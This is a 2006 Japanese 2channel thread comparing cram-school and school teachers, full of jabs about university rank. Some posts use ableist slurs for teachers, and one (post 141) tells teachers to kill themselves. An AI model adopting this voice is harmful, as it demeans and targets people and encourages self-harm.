競争優位とは、「質・量においてすぐれた供給を行い顧客を触発し市場を創造する」才覚のこと。
つまり思考力、記憶力、応用力、体力、忍耐力、使命感などなどの総合的な供給力。
これらを「生徒たちに」習得させるのが予備校。
これらについて分類し批判し、日本の市場経済のありかたを批判ばかりしているのが高校教師。



115 :実習生さん:2006/10/23(月) 11:26:22 ID:5LBCBBwM
今の塾は、20人くらいの教室に先生3人が入ってるところもあります
荒れてないなんてのは嘘っぱち 下位レベルのクラスは崩壊状態です
荒れる子どもを下位クラスに放り込んで荒らす自分らが悪いと批判をかわしてるだけです

116 :実習生さん:2006/10/23(月) 11:46:33 ID:/L/j1WKV
だからどうした?w
バカで見込みの無い子供を寄せ集めておくのは、塾経営の真理だろうが。

117 :実習生さん:2006/10/23(月) 12:43:32 ID:5LBCBBwM
ええ、そうですよ
私も塾長から常々言われていました
「授業料が入って、親が満足していればいいのだ」と

結局これが塾、子ども、親の三者が全て満足するかたちなのです

118 :実習生さん:2006/10/23(月) 13:03:05 ID:/L/j1WKV
だからそれでいいじゃないかw
塾も子供も親もそれでしあわせなんだから。

119 :実習生さん:2006/10/23(月) 13:15:37 ID:5LBCBBwM
「塾も子供も親も幸せならそれでいい」が塾なのです
教育機関としての役割を果たしていなくてもそれでいいのです

荒れる生徒に何もできなかったので「今日は何もできませんでした。心配です」
と連絡帳に書いたら塾長に怒られました
「中々進みませんが精一杯やっています。このまま行けばだいじょうぶです」
などと書くように進められていました
しかしさすがに担当講師が20人投げ出した子だけあって本当にダメでした…

120 :実習生さん:2006/10/23(月) 14:21:22 ID:WRlVVdPB
>>119


121 :実習生さん:2006/10/23(月) 18:51:12 ID:WRlVVdPB
86 :実習生さん :2006/10/22(日) 23:01:56 ID:AFvE8gk7
塾講師陣には、筑波大がよく理解されていないのかな?低学歴とか高学歴とか、
そのようなカテゴリーには入りません。オリンピック選手にも筑波大卒は多く
いますよ。今こそ総合大学だけれど、前身は東京高等師範学校、東京教育大学
です。建学の精神は「高度なティーチングマシン」を作ることではなく、スク
ールリーダーシップを育成するために建てられた新構想大学です。ですから、
問題解決リテラシーが待望され、教科教育や生徒指導、教育相談などあらゆる
分野の専門的知見と技能が求められます。確かに一教科の専門的知識は塾講師
の方々の方が優れているかもしれませんが、本学は既存の分野にとらわれない
学際的な「研究」が1番問われるのです。

筑波のダメな原因がよく解った。根幹となる教科の力が旧帝大格としては破格に
低いんだよ。専門トークしたらすぐ逃げ腰になるのが特徴。その割に奇妙な
エリート意識だけは達者なんだな・・・

122 :実習生さん:2006/10/24(火) 14:34:47 ID:Lg74bnxI
筑波が勘違いするのはしかたないんじゃないかな
筑波と広島は高校では実際優遇されてるし

123 :実習生さん:2006/10/24(火) 22:30:25 ID:ktZ0QHvy
>>122
うんうん、仕方ない、仕方ない

124 :名無し:2006/10/26(木) 01:54:05 ID:YQUJJdun
教師だよ、教師、教師に人間性を求めるなんて無理な話だよ
なんたって教師だよ、教師目指して、なっちゃう奴だよ
基地外中の基地外ばっかだよ、大人になればそれがよく解る

思春期の子供はクズ教師を見て、大人はクズ、大人は基地外
大人は自己中心的、大人は変人、大人は最悪と感じることがあっても
それを「大人と子供の差」と思い込みむ
だけど自分が大人になれば気付く、それは「大人と子供の差」ではなく
「一般人と教師」の差であったってことな、教師は基地外中の基地外が集まる職!

125 :実習生さん:2006/10/26(木) 08:59:06 ID:Kno+sfhh
必修科目未履修問題ヤバイ。やったもん勝ちで正直者はバカを見る。

126 :実習生さん:2006/10/26(木) 22:05:38 ID:NaNuHdPP
はいはい、基地外基地外

127 :実習生さん:2006/10/26(木) 22:37:18 ID:5qD5n7Kz
私大の社会科学系学部でトップの大学学部卒で、
中学校の教員やってます。
放課後休み時間は、全教科教えてます。
中学高校時代、他教科の教員よりも、その教科できたでしょうから。

128 :実習生さん:2006/10/27(金) 03:56:57 ID:IHNYemr6
>>121
旧帝大格は一工神のみ。
筑波は論外。

>>127
所詮私文。

129 :実習生さん:2006/10/27(金) 11:42:36 ID:lVU3lgfR
>>128
>神

北大も論外だが、神戸のようなクズ駅弁まで入れないほうが良い。
所詮駅弁は駅弁に過ぎない。
何か強い劣等感を感じる。

130 :実習生さん:2006/10/27(金) 12:32:40 ID:fy4fb8uF
話激それだけど、予備校教師が高校教師を指導する講座があるみたいだね。

学力を上げるという観点では予備校教師が何枚も上だよね。

131 :実習生さん:2006/10/27(金) 12:59:16 ID:uMykny0N
>>130
ワロタ

132 :実習生さん:2006/10/27(金) 13:45:45 ID:bPLM9yxU
>>130
学校教師の新人研修で必ずやるようにすればいいのに
と思う。

133 :実習生さん:2006/10/27(金) 19:21:01 ID:gyT0QR1/
結局東大京大以外はクズっていう流れだな
こう言うと文Iと理III以外はクズっていうやつが出そうだけど

134 :実習生さん:2006/10/27(金) 21:14:17 ID:DIID3pZi
そういう輩は2ちゃん病患者なので気にしないでください

135 :実習生さん:2006/10/28(土) 00:42:35 ID:KO0aaEke
>>133
東大と京大、
文Tと理Vを一緒にすんな

136 :実習生さん:2006/10/28(土) 05:48:34 ID:inhn+TOM
禿同

137 :実習生さん:2006/10/28(土) 18:11:47 ID:Wp7zqil5
国家の一大事だという時に、学歴がどうのこうの?オマエら暇でいいなぁー

138 :実習生さん:2006/10/28(土) 22:17:41 ID:5oBPOnHS
ここまで誰一人として
>>70
の質問に答えれる学校教師が出てきていない点について。


139 :実習生さん:2006/10/29(日) 23:13:34 ID:+PQ6VgoT
筑波君とかいう奴に聞いてるんじゃないのか?www

140 :実習生さん:2006/10/31(火) 20:48:54 ID:s0MynMyt
>>138
粘着はよくないよ、筑波君w

141 :実習生さん:2006/10/31(火) 21:12:29 ID:MMU9R8Pm
学校教師は自殺でもしとけ

142 :実習生さん:2006/10/31(火) 21:15:35 ID:thJm2njX
七割感情的なレスで恐い

143 :実習生さん:2006/10/31(火) 21:39:41 ID:SW4YfLMk
>>138
> shallの多数の意味とか →『ネイティブスピーカーの英語感覚』にのってるな。
Shall=「will+強意」。
> 分詞構文の5つくらいの意味 be to 不定詞の意味→どっちも『英語感覚が身につく
実践的指導』にのってる。
 長くなってマンドクセからいちいちここで書かないが、気になる奴は自分で本探して嫁。
あと研究は常に進んでるし、概説的な本では細かいとこまでは触れないから、
こういった本の解説も必ずしも全て正しいわけじゃない。所詮、他人の研究の内容を
薄めて受け売りするぐらいしか現場の教師にはできんな(´・ω・)

144 :実習生さん:2006/10/31(火) 22:05:44 ID:T/1sRpLe
学校の先生がやる授業って段取りが悪いし、説明が下手で受けてても面白くない
塾の先生の授業は分かりやすくて面白い
勉強が分かれば勉強するのを楽しく感じるし頑張ろうとも思える

145 :実習生さん:2006/10/31(火) 22:19:52 ID:lBEbV5FG
>>144
仕方ないよ。公立は「誰もがわかるように」というのが前提だからね。
子どもに自ら学び、考えさせる「自力解決能力」を伸ばすことを主眼とし、
勉強の楽しさ・わかる喜びを体感させる学習活動に力を入れてるわけだから。

でも教科書の内容をやさしくしたところで、できない子はできないし、
勉強だって楽しくならない。機械的に解き方のノウハウを教える授業だって、
それで子どもが分かれば自然に勉強も楽しくなるだろうに・・・
てなわけで、144の意見には賛同。勉強なんて解き方のコツが分かれば楽しくなる

146 :実習生さん:2006/10/31(火) 22:40:09 ID:j+mSnLSP
>>
勉強なんて解き方のコツが分かれば楽しくなる

具体的に。

147 :実習生さん:2006/11/01(水) 03:15:06 ID:64pdA6ya
>>143

説明してくれ。ここまで出てきた駅弁つくば教師は丸暗記できずに落ちこぼれたわけだしw

148 :実習生さん:2006/11/02(木) 13:06:41 ID:fgvVdBJv
筑波なら暗記くらいはできるだろ。
論理的思考力はないだろうけど。

149 :実習生さん:2006/11/02(木) 13:20:01 ID:IdsIkIO8
おまえら 筑波出を 笑えるほどの学歴あるのか?
お前ら 引きこもり ガあれこれ言ってルンチャウカ。

150 :実習生さん:2006/11/02(木) 13:31:19 ID:fgvVdBJv
東大ですが何か?

151 :えれくち王 ◆Nk0j1Ogru. :2006/11/02(木) 20:16:22 ID:AAwOxZNN
この手の学力&学歴自慢スレには、自称東大しか来ないから、何言っても無駄ですよ〜。

152 :実習生さん:2006/11/02(木) 20:47:30 ID:fgvVdBJv
学位記をうpしてもいいけど。

153 :実習生さん:2006/11/02(木) 21:02:14 ID:chXHfHQV
では学位記と一緒に指三本うpしてください


154 :実習生さん:2006/11/02(木) 21:35:44 ID:fgvVdBJv
>>153
はい。
うpしましたよ。
http://kjm.kir.jp/pc/?p=24257.jpg

155 :実習生さん:2006/11/02(木) 21:41:28 ID:0zuE8q/j
>154
東大行ってこんなとこでなにしてるんですか?
学歴自慢?
さみしい

156 :実習生さん:2006/11/02(木) 21:41:43 ID:IcXm/P7l
>>154
結婚してくれ

157 :実習生さん:2006/11/02(木) 21:54:16 ID:+c7hIJds
>>154
東大文学部出身で塾の講師してるんですか?!

158 :実習生さん:2006/11/02(木) 21:57:15 ID:8m0h73O9
文学学んで何か生産性があるのですか??

159 :実習生さん:2006/11/02(木) 22:35:31 ID:aVy79KtN
>>158←文学部に文学科しかないと思ってるやつ発見

160 :実習生さん:2006/11/02(木) 23:19:20 ID:fgvVdBJv
>>155
教育に関心があるから。

>>156
あなたが女だったら是非。

>>157
今年国T某省の内定取ったので
3月までで辞めますが。

161 :実習生さん:2006/11/02(木) 23:28:58 ID:K23GdidK
>>160 ムカつくのはわかるけど プライド高いっすね
でも東大ってすごいね

162 :実習生さん:2006/11/02(木) 23:41:43 ID:+c7hIJds
>>161
学歴だけはね。ところで>>160は知力と人間力が伴っているの?

163 :実習生さん:2006/11/02(木) 23:48:39 ID:fgvVdBJv
>>162
人間力の定義を3行くらいでしてくれ

164 :実習生さん:2006/11/03(金) 00:04:31 ID:RbvvwjUT
>>163
○ 人間力とはひとづくり、ものづくり、まちづくりできる能力
 の備わった人です。
○ 人間力のある人は国際社会に貢献します。
○ 人間力のある人は環境に優しく、福祉に精通しています。 


165 :実習生さん:2006/11/03(金) 01:00:34 ID:IjWPzNkb
>>164
ツマンネ

166 :実習生さん:2006/11/03(金) 10:29:39 ID:GIyURCgF
>>165
勉強ばかりしていた東大卒に人間力が備わっているはずがない。
ましてや他人を蹴落としてでも1番になろうとしてきた人間に、
協調性や弱者の気持ちなども理解できるはずがない。


167 :実習生さん:2006/11/03(金) 12:17:37 ID:b8g4WpUA
 
   公 立 進 学 校 の カ ラ ク リ  〜不正高卒資格者の春はこれから〜

 ∩∩                               .V∩
  (7ヌ)                 合格!         (/ /
 / /                 ∧_∧            ||
/ /  ∧_∧     ∧_∧  _(´∀` )   ∧_∧   ||
\ \( ´∀`)―--( ´∀` ) ̄      ⌒ヽ(´∀` ) / / ラクして安定生活!
  \       /⌒   ⌒ ̄ヽボンボン /~⌒   ⌒ /
   | 教育  |ー、未履修 / ̄| 生徒 //` 調査書  /
    |委員会 | |追認校長 (ミ   ミ)  偽造教師|
   |    | |     | /      \ |     |
   |    |  )    /   /\   \|       ヽ
   /   ノ | /  ヽ ヽ、_/)  (\    ) ゝ  |
   |  |  | /   /|   / レ   \`ー ' |  |  /

168 :実習生さん:2006/11/03(金) 12:53:09 ID:OnzoseNy
>>166
確かに学校教員は協調性抜群だねwww
なんたっていじめっ子に加担して弱い生徒を虐めるんだもんねwww

ったく…口から偽善はくだけで税金から給料もらえる学校の教員達は最悪だな。

169 :実習生さん:2006/11/03(金) 13:16:10 ID:XQN5ssKM
>>1
学校教員の採用が控えられてたわけで
その間のは、塾や予備校に流れたわけで、、、当然の帰結
ただし
しばらくは、大量採用だけど、それでも公立へは来ないだろう
理由は、公務員に魅力が無くなったって事
企業の方が、自分の力を出し切れる体制だってことかな

170 :実習生さん:2006/11/03(金) 19:38:49 ID:ykfYTGkG
>>169 なに言ってんだよw 塾・予備校の教師なんて優秀なわけないだろw
本当に優秀なのは大学残って研究してるよw 
 あともちろん公立・私立の教員もほとんどがダメなのは同意。ただ

> 公務員に魅力が無くなった →これは逆だろw
 むしろ今の時代公務員望む奴が増えてるだろ。本当に能力ある奴は民間のいいとこ
目指すだろうが、教員めざすような二流の奴らは安定志向だぞw

171 :実習生さん:2006/11/03(金) 23:55:45 ID:IjWPzNkb
【低学歴の特徴】

1. 一流大学の人間は勉強しか能がないと思っている
2. 自分は勉強はできないが、ほかに何か才能があると思い込む
3. 「学校の勉強なんて社会じゃ役に立たない」 が決め台詞
4. 「自分は成績は良くないが頭は良い」と妄想をしている
5. 学歴のない事を逆に美化しようとする
6. 自分よりレベルの高い大学の人間にはどこか性格的に欠落している部分があると信じている
7. 「結局東大、京大以外は自分次第だよな」と自分より格上の大学も一くくりにしてみる
8. 「部下の東大卒は使えない」と2chで妄想
9. 自分が成功できなかった原因をすべて学歴のせいだと思い込む
10 学歴は関係ないと言いつつ大学のランク分けに精を出す
11 世の中実力だと言いつつ努力もせず怠惰な生活を満喫している
12 一流大学に逝けなかった真の原因「知能の事情」については言及を避けようとする
13 単純作業や肉体労働やニート等大多数の低学歴の実態についても言及を避けようとする

172 :実習生さん:2006/11/04(土) 00:28:12 ID:SKIWjigZ
>>171
ついでに【高学歴の特徴】も教えて

173 :えれくち王 ◆Nk0j1Ogru. :2006/11/04(土) 10:03:29 ID:g725nDBH
【教育先生板の自称高学歴の特徴】

1.大学受験勉強時の学力が、その人の学力が最も盛んな時期であると思い込む。
2.ゆえに教師の学校歴が、教科の知識や教科指導力を直接反映していると思い込む。
3.自分の学校歴より劣ると思われる教師を、徹底的に蔑んでいる。
4.1教科でも東大のボーダーライン偏差値を超える得意科目があれば『自分は東大以上!』と妄信する。
5.自分が東大に入れなかった原因を、すべて教わった教師の指導力不足に結びつけ、今なお悶々としている。
6.地方出身者の文系が多い(これはあくまで推測にすぎないが)

他にもあったらどうぞ〜。

174 :実習生さん:2006/11/04(土) 10:10:19 ID:3Yp3xCvb
>>173 ちなみにあなたは高学歴or低学歴?(´・ω・)

175 :実習生さん:2006/11/04(土) 10:40:41 ID:tuQu2IlP
>>173
えれくち王さんて、どこの国の王様ですか?

176 :実習生さん:2006/11/04(土) 10:45:55 ID:lupSvEDg
おいおい、学校教師が低学歴で何が悪いんだ?
高校の教科には工業・農業・商業・水産等の実業科目があるのもお忘れなく。
そういった先生たちに高学歴を求める時点で間違ってる。

予備校で商業とか教える人いないでしょ。

177 :実習生さん:2006/11/04(土) 11:38:26 ID:OxWz8srf
学位記なんてネットで探せばどこかで手に入るwwwww
ttp://titech.j3e.info/zzz.html

178 :実習生さん:2006/11/04(土) 12:00:37 ID:jxkbPE8x
超大手塾講(生徒数1万6千)→公立中学校教師だが

同僚(英語科担当)の学歴

塾講時代→明治学院、福岡、熊本、慶応、関西学院
公立中学→熊本、上智、筑波、立命、立教(オレ)

大して変わらない気が…
慶応は素直にスゴイと思うが。

179 :実習生さん:2006/11/04(土) 12:37:51 ID:cNJ6chkO
>超大手塾講
明光義塾ですか?
学歴高ければフリーパスで採用されるよね

180 :えれくち王 ◆Nk0j1Ogru. :2006/11/04(土) 15:21:24 ID:g725nDBH
>>174
高学歴かどうか知らんが、筑波よりは上位の国立大卒。
校名を言ったら、今までの雑談スレの流れから、
人物特定までされる可能性があるので明かしません。

>>173
本当に王様にでもなりたい気分です。

181 :実習生さん:2006/11/04(土) 16:15:22 ID:9movPpU3
>>178
それ中学生コースでしょ?
そこらヘンの大学で高校生教えられるのは慶應くらいだな。

あと、shall=willの強意なら1人称以外の意味が通らないですよ。はい。


182 :実習生さん:2006/11/05(日) 02:48:58 ID:9v7AbQda
>>177
負け惜しみ乙

183 :実習生さん:2006/11/05(日) 03:11:04 ID:roQpwaYi
立教卒で塾講やってるが、学歴は俺が真ん中くらい。
阪大や早稲田から武蔵工業までいる。
でも教えるスキルとはあんまり関係ない気がする。

ちなみに俺は教員志望。
塾つまらん。

184 :実習生さん:2006/11/05(日) 15:33:21 ID:+xs4dPny
塾は生徒が増えてナンボ
学歴うんぬんよりまず実績だよ。
>>183
楽しくやらなくちゃ
 どこへ行ってもつまらんよ。その姿勢なら。



185 :実習生さん:2006/11/05(日) 19:48:00 ID:DDtBh3rt
板違い

【無職・だめ板】

無職で塾講師やってる人!

http://human5.2ch.net/test/read.cgi/dame/1160205361/l50

186 :実習生さん:2006/11/06(月) 23:22:55 ID:cM4sA3lc
駅弁教育学部って大学じゃないだろ
教員養成の専門学校

187 :実習生さん:2006/11/07(火) 02:19:12 ID:jt0aixDx
>>186
同意。
学位なんかいらんだろ。

188 :実習生さん:2006/11/07(火) 02:23:31 ID:s/Cf7Hlb
ここで「うんこ!」と叫べ
http://anime.2ch.net/test/read.cgi/iga/1161868188/l50

そうすればおまいらにいい風が吹く!
マジ効くよ!保障する!!


189 :実習生さん:2006/11/07(火) 05:40:35 ID:JVyyzbjD
》186,187 確かに。大体、駅弁大学の教育学部の前進は尋常師範学校。小学校卒のやつが小学校の教員になるために行ってた学校。だから、本当は大学にすべきではなく、専門学校にすべきだったんだよ、設立当初から。 

190 :実習生さん:2006/11/07(火) 21:20:09 ID:toahjqkZ
>>189
教育に対する見方、考え方が浅い。幼児教育、初等教育、中等教育、
高等教育、大学教育とそれぞれの役割が違う。あんたもっと自分の
教育観を磨いて、学歴に見合う教育者を目指せよ。

191 :実習生さん:2006/11/07(火) 21:23:32 ID:bz7LKLTY
塾講師も学校教師もどっちもダメでFAだろw まともな奴がやる職業じゃないw

192 :実習生さん:2006/11/07(火) 21:42:45 ID:toahjqkZ
>>191
子供はいろいろな教師と出会って成長していく。時には反面教師も。
国定教師ばかりだとどんな子供が育つ?右も左も赤も黒も白も、心の
歪んだ天才も性格の良いデクノボーも。

193 :実習生さん:2006/11/07(火) 21:48:18 ID:9o7xyFtp
塾は勉強教えるだけ!  学校は教育があるのです!

194 :実習生さん:2006/11/07(火) 21:51:33 ID:xSgBsIuC
>>塾は勉強教えるだけ!  学校は教育があるのです!


教育って何よ?   昔から疑問だ。
 

195 :実習生さん:2006/11/07(火) 21:59:40 ID:toahjqkZ
>>194
その答えを自問自答してこそ価値がある。。このスレッド
には、「論語読みの論語知らず」が多すぎる。

196 :実習生さん:2006/11/07(火) 23:09:23 ID:EsXv6fAf
>>194
ちゃんとした『教育』を受けたことがないんだな。かわいそうに。

197 :実習生さん:2006/11/07(火) 23:42:25 ID:jt0aixDx
>>190
中等教育・高等教育の概念も知らん奴が
学校で「教育」なんぞやってるとは笑える

198 :実習生さん:2006/11/07(火) 23:42:47 ID:uy5Yyp2t
(´:ω:`)ブワッ

199 :実習生さん:2006/11/07(火) 23:54:25 ID:toahjqkZ
>>197
考えが甘い 詰めが甘い 脇が甘い

200 :実習生さん:2006/11/08(水) 00:01:19 ID:jt0aixDx
>>199
は?意味分からん。
お前が中等教育=中学校 高等教育=高校だとアホなこと考えてるから、
突っ込んだんだけど。
辞書で調べてみな。
恥ずかしい間違いしてるからwww

201 :実習生さん:2006/11/08(水) 02:30:44 ID:J1Nl2yrB
学校教員は自分の立場も分からないで教えているということだ

202 :実習生さん:2006/11/08(水) 10:23:05 ID:PwRIoLkd
学校でしつけられないヤツを
塾でしつけてるから心配すんな!

>>191
ニートはすっこんでろ!

203 :実習生さん:2006/11/08(水) 10:52:45 ID:+GhfWGVA
塾講師の方が高偏差値大学出身者が多いのは
なんでだろうか?
採用試験の難易度を考えると、本来なら逆になる
はずだろうけど・・・

204 :実習生さん:2006/11/08(水) 14:54:36 ID:QUWhf1+E
>>203
司法、会計士崩れが多いからだろ

205 :実習生さん:2006/11/08(水) 19:10:50 ID:xv978779
>>203
一流大学出身者が教採受けたら、合格率が高いと思う?

206 :実習生さん:2006/11/08(水) 19:59:06 ID:G8GkySsM
学校教師より塾講師のほうが信頼できる。
塾は成績上げるのが仕事だからではなく、なんか学校教師は学歴コンプ
らしきものがあるからな。
例えば、中学受験する奴を悪く言うことだってある。
学校教師は、それになんか含むところでもあるんじゃないかと。
塾講師ではそういうのあったとしても、銭儲け関係だからどうってことない。

207 :実習生さん:2006/11/08(水) 20:35:16 ID:mJRRC7oH
今時、塾講師なんて不安定な身分に自分から飛び込んでいく奴はバカに決まってるだろw
まともなのはもっといい民間企業とか公立学校にいく。落ちこぼれて、そういうとこに
いけなかった奴がルサンチマンで教師叩いてるのは哀れだなw

208 :実習生さん:2006/11/08(水) 20:49:58 ID:xv978779
予備校や塾の講師って、月給どのくらい貰える?

209 :実習生さん:2006/11/08(水) 21:23:37 ID:y4halOcK
>>208
3万〜300万

210 :実習生さん:2006/11/08(水) 21:38:06 ID:KCJHdjtT
>>203
あなたが考える「高偏差値大学」ってどこらへん?

あと、塾に通ったことがあるなら、そこにいた講師の先生たちの出身大学挙げて下さい。

211 :実習生さん:2006/11/08(水) 21:44:06 ID:I4HTDC1f
官僚の「ヤラセ」タウンミーティングにお気をつけください 官僚の「ヤラセ」タウンミーティングにお気をつけください
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212 :実習生さん:2006/11/08(水) 21:44:43 ID:xv978779
>>209
ありがと。まさに格差社会だね。

213 :実習生さん:2006/11/08(水) 22:09:18 ID:UkJNe+oc
ま、教員になった方が  勝ち組   という事で・・・。

214 :実習生さん:2006/11/08(水) 22:20:15 ID:I4HTDC1f
大手予備校は別
中学生を主に扱っているような塾は例外なくと言っていい
東証一部上場の大手でも「ブラック」
30代までこき使って体力が続かなくなったらそれを理由にポイ
使ってポイ 使い捨て それが現実
労働時間もサービス残業も「ブラック」並
まともな人間は就職先として選ばない

だから学生の割の良いバイト先となってる

215 :実習生さん:2006/11/08(水) 22:21:42 ID:I4HTDC1f
おまけに犯罪、セクハラ、自殺者も多い

216 :実習生さん:2006/11/08(水) 22:37:51 ID:J1Nl2yrB
>>213
それじゃ、誰でも勝ち組になれちゃうじん

217 :実習生さん:2006/11/08(水) 23:16:35 ID:mJRRC7oH
>>216 だから塾講師も教師も負け組みでFAだろがw

218 :実習生さん:2006/11/08(水) 23:35:52 ID:aiVji0Wx
塾講師と学校教師、どちらが変な奴が多い?
おれは学校教師だと思う。特に思想的にやばい。

219 :実習生さん:2006/11/08(水) 23:58:17 ID:xv978779
学校の教師は個性的な人間が多い。最近よくTVに出る
大阪のおっちゃん先生(今は私学)100マス計算の蔭山校長、
杉並区の藤原校長、ヤンキー先生、夜回り先生・・・

220 :実習生さん:2006/11/09(木) 00:37:16 ID:BbFH6drF
小学校教員なんて
採用倍率1.2倍とかだぞ?
ほぼ無試験状態。
しかもDQN私大か駅弁でないと免許取れない。
まさにバカがなる職業ww

221 :実習生さん:2006/11/09(木) 01:04:52 ID:RsIQcZNn
2006年時点では4.0倍ね
つまり75%は落ちてる

222 :実習生さん:2006/11/09(木) 01:12:53 ID:/tBreVhf
☆学歴・学力度
大学教員>高校教員>中学教員>小学教員>幼稚園教員
☆変人度
大学教員<高校教員<中学教員<小学教員<幼稚園教員


223 :実習生さん:2006/11/09(木) 07:21:07 ID:sqVDQeLy
>>212
大丈夫
週2コマしか入ってない大学生バイト講師でも4万は超えるよ

224 :実習生さん:2006/11/09(木) 10:26:36 ID:AQbP1ajv
オイラの高校(中堅都立高校)時代の担任は、
有名進学校→早稲田大学→塾講師→公立学校教師(国語)

225 :実習生さん:2006/11/09(木) 11:35:47 ID:uKMnO0K8
>>223
最大で週に何コマ入る?

226 :実習生さん:2006/11/09(木) 13:06:36 ID:drpLnhxu
アルバイトで4万なら悪くはない。  アルバイトならね。
若い人は、堅い道を選んだほうが良いと思うよ。

227 :実習生さん:2006/11/09(木) 13:49:31 ID:RsIQcZNn
>>223
それは、時給がバカ高いか、一コマの時間が1.5時間とか長い場合だろ
週2コマだったら月8コマ、2万円がいいところだな

228 :実習生さん:2006/11/09(木) 14:02:34 ID:BbFH6drF
公立学校も法人化して市場競争にさらすべきだな

229 :実習生さん:2006/11/09(木) 14:05:39 ID:RsIQcZNn
>>228
ガイシュツ
採算の取れない地方の学校が消し飛ぶ
馬鹿馬鹿しい

230 :実習生さん:2006/11/09(木) 14:17:40 ID:T/AhpGhV
これから更に子ども減ってく中でパイの取り合い。教育産業は斜陽産業で基本的に
未来はない。そんなとこに自分から進んで入ってく時点で塾講師はバカ決定w

231 :実習生さん:2006/11/09(木) 17:54:25 ID:cSU7PhMN
>>230
相当自信がないんだな、お前は。
 一生コンビニでバイトでもやってろw

232 :実習生さん:2006/11/10(金) 13:27:39 ID:GblJFJAb
学校教員って先物並みのブラックだよな

233 :実習生さん:2006/11/10(金) 15:12:21 ID:1cE2Ubyg
教師は採用倍率の差が激しすぎるよな。
小学校や中高の理系は5倍以下だってのに、
中高の文系、特に社会は50倍とか言ってるからな。
100人に2人。んなもん受からねえよw
というわけで俺は彼方遠くにある社会科教師目指しつつ塾講やってますorz


234 :実習生さん:2006/11/11(土) 00:10:19 ID:aoaO7AFq
旧帝未満が教壇に上がってるなんて想像するだけでも恐ろしい

235 :実習生さん:2006/11/11(土) 00:30:41 ID:8KIzaSg7
>220 それってどこ?このあたりは採用試験倍率高いし、ほんとなってる
人は優秀が多いし・・。
でも、採用試験うける前の学生とかでバイトで塾講師している人多いよ。
慣れるために。

236 :実習生さん:2006/11/11(土) 05:27:35 ID:1GNyQ9L8
>>235
優秀な人は小学校教師の試験受けられる大学に入りませんがな。

237 :実習生さん:2006/11/11(土) 13:48:22 ID:5VJ+jwVO
>>234 236
旧帝大卒が教育者になったら、いじめや学級崩壊に歯止めがかかるか?
笑わせるな!学力・学歴信奉者は教育の現場を知らない。

238 :実習生さん:2006/11/11(土) 15:01:52 ID:nJ1428hK
234は史上最低のあほですな

239 :実習生さん:2006/11/11(土) 16:18:45 ID:KvqLAC6V
小学校:生徒指導4割・行事1割・教科指導5割
中学校:生徒指導2割・部活6割・教科指導2割
のような気がする。

塾講師は教科指導部分だけなので優秀で当然だ。
学校も「教科指導担当教師」「生徒指導担当教師」「事務担当教師」「部活担当教師」と分ければ
塾並みの授業が可能。ただし学習指導要領が全廃されれば。

240 :実習生さん:2006/11/11(土) 16:27:33 ID:vsAYZNMF
>>239に聞きたいのだが、生徒指導ってどんなことやってるの?

現役教師なんだろうから詳しくおしえてよ。

241 :実習生さん:2006/11/11(土) 20:48:13 ID:aoaO7AFq
激務薄給、陰湿なイジメに先輩からの暴力・・・
学校教師ほど悲惨な職業も珍しい

242 :実習生さん:2006/11/11(土) 21:50:12 ID:4OB7Sf2w
薄給  は 言いすぎだな。  ほかは支持。

243 :実習生さん:2006/11/11(土) 22:14:52 ID:X4rUAEuY
>>237
なんで旧帝卒がそうなるんだ?
低学歴の僻み?

244 :実習生さん:2006/11/11(土) 22:59:14 ID:miFadWYn
>>239

そもそも学生時代に勉強ができなかったやつに教科指導などできるわけがないw
白帯のやつが空手道場で教えているのが今の学校の現状。

まとも授業ができないいいわけするんじゃねぇよ

 低 学 歴

245 :実習生さん:2006/11/11(土) 23:25:39 ID:fYvow+cy
学校の先生になる人は教育大を卒業するべき。教員免許とっただけはダメ。学校の先生は学歴だけじゃない。教育者だよ。ちゃんと教育について学ぶべき。

246 :実習生さん:2006/11/11(土) 23:27:13 ID:fYvow+cy
そしたら、先生の質はあがる。いじめにも対応でき、きちんと生徒に教養をつけることが出来る。塾講師とは目的が違う。

247 :実習生さん:2006/11/11(土) 23:32:44 ID:dyoQj1x9
まぁ教育大って教育についてもたいして学ばないけどね
巨大学閥を作る以外の目的がまったくない

248 :実習生さん:2006/11/11(土) 23:52:39 ID:HvQpHVu5
まずは採用試験に受かれや、塾教師。負け犬ども。

249 :実習生さん:2006/11/12(日) 00:02:12 ID:xVVHkecQ
学歴、学歴言ってるやつは一生過去の栄光にしがみついていろ。
そして、低学歴を馬鹿にしていろ。そのうち中卒に笑われる日が来る。

250 :実習生さん:2006/11/12(日) 00:30:56 ID:nXhjO4gd
うちの塾では学歴で給与が決まる。
東大なら駅弁の5倍の給料がもらえる。
いつまで経っても採用試験受からない駅弁は、
低待遇でこき使われつづけてる。

251 :実習生さん:2006/11/12(日) 00:53:39 ID:jljz4cU7
教師が塾を否定できないのは彼らもまた塾で勉強してきたからである。
にもかかわらず塾を否定する奴は自分に自信が持てないからである。
生徒は常に塾と学校を比較するがこれは世の中の仕組みを知らぬ子供だからであり
それを目くじらたてて騒ぐのは大人として恥ずべきことである。


252 :実習生さん:2006/11/12(日) 01:20:20 ID:QKUe2mzV
>>249
>そのうち中卒に笑われる日が来る。

中卒や高卒と接触する機会があるのか?

253 :実習生さん:2006/11/12(日) 02:38:08 ID:Pukrfp3l
>>245
>>246
>>248
>>249
あのさ、別に塾講をバカにするのはかまわないんだけどさ、
君ら教師の言う、「 生徒指導 」の実体ををまず詳しく説明してもらえないかな?

>>239の意見がどうしても意味不明なんだが

254 :実習生さん:2006/11/12(日) 03:07:10 ID:nXhjO4gd
>>253
学校教師は池沼だから仕方ないよ

255 :実習生さん:2006/11/12(日) 13:09:55 ID:LeI1415y
>>253
まさに生徒指導に携わったことのない塾講の発想。
こんな2chanで毒をはいている哀れな暇人達に生徒
指導の実態など語れるか。

256 :実習生さん:2006/11/12(日) 13:20:05 ID:STmIxI0X
>>253
は、きっと不登校で一度もまともに学校に通ったことが無いのだろう。
可哀相な人だ。

257 :実習生さん:2006/11/12(日) 13:43:22 ID:RygvgZmn
こんなくだらないスレあるのか。
くだらない書き込みも多いな。
こんなとこで書き込みしてもしょうがないが
伝えておこう。つい最近、東大のヤツが塾講のバイト面接に
来たが、模擬授業の後断ったよ。確実に学歴ではないな。

258 :えれくち王 ◆Nk0j1Ogru. :2006/11/12(日) 13:51:15 ID:+ytD7bqp
学歴板で面白いレスを見つけたから、コピペしておきますね。
公立高校の場合は『公教育』ということで、
清風高校のように徹底的にはできませんが、
これに近い罰則を設けたり、巡回指導を行っている学校が多いのではないでしょうか。


811 名前: エリート街道さん 投稿日: 2006/11/12(日) 03:50:32 ID:BJo2m9N8
清風学園清風高校
関関同立に多くの合格者を出す名門高校である
